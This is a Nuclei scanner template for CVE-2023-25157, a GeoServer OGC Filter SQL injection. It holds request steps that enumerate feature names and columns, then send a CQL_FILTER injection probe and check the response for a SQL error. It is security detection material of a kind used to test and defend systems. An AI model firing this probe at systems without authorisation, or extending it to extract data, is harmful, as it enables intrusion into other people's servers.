79 lines
3.1 KiB
YAML
79 lines
3.1 KiB
YAML
id: CVE-2023-25157
|
|
|
|
info:
|
|
name: GeoServer OGC Filter - SQL Injection
|
|
author: ritikchaddha,DhiyaneshDK,iamnoooob,rootxharsh
|
|
severity: critical
|
|
description: |
|
|
GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer includes support for the OGC Filter expression language and the OGC Common Query Language (CQL) as part of the Web Feature Service (WFS) and Web Map Service (WMS) protocols. CQL is also supported through the Web Coverage Service (WCS) protocol for ImageMosaic coverages. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should disable the PostGIS Datastore *encode functions* setting to mitigate ``strEndsWith``, ``strStartsWith`` and ``PropertyIsLike `` misuse and enable the PostGIS DataStore *preparedStatements* setting to mitigate the ``FeatureId`` misuse.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by the GeoServer project to fix the SQL Injection vulnerability.
|
|
reference:
|
|
- https://twitter.com/parzel2/status/1665726454489915395
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-25157
|
|
- https://github.com/win3zz/CVE-2023-25157
|
|
- https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf
|
|
- https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-25157
|
|
cwe-id: CWE-89
|
|
epss-score: 0.36984
|
|
epss-percentile: 0.96801
|
|
cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: "true"
|
|
max-request: 3
|
|
vendor: osgeo
|
|
product: geoserver
|
|
shodan-query: title:"geoserver"
|
|
tags: cve,cve2023,geoserver,ogc,sqli,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=50&outputFormat=csv HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
@timeout: 30s
|
|
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=strStartswith({{column}},%27%27%27%27)=true HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
stop-at-first-match: true
|
|
iterate-all: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_3
|
|
words:
|
|
- "SQL SELECT"
|
|
|
|
- type: word
|
|
part: header_3
|
|
words:
|
|
- text/xml
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: name
|
|
group: 1
|
|
regex:
|
|
- '<FeatureType><Name>(.*?)<\/Name><Title>'
|
|
internal: true
|
|
part: body_1
|
|
|
|
- type: regex
|
|
name: column
|
|
group: 1
|
|
regex:
|
|
- 'FID,([aA-zZ_]+),'
|
|
internal: true
|
|
part: body_2
|
|
|
|
# digest: 4a0a00473045022100fed341e79e30254a5f67f09a57f3b5041a1e4ed943ae9f15c29e174a4c3b43300220489eb8b664a3a023f1e3e347a38743e7e2ee3a1e2e9f4ebccc0584d31dc5f165:922c64590222798bb761d5b6d8e72950
|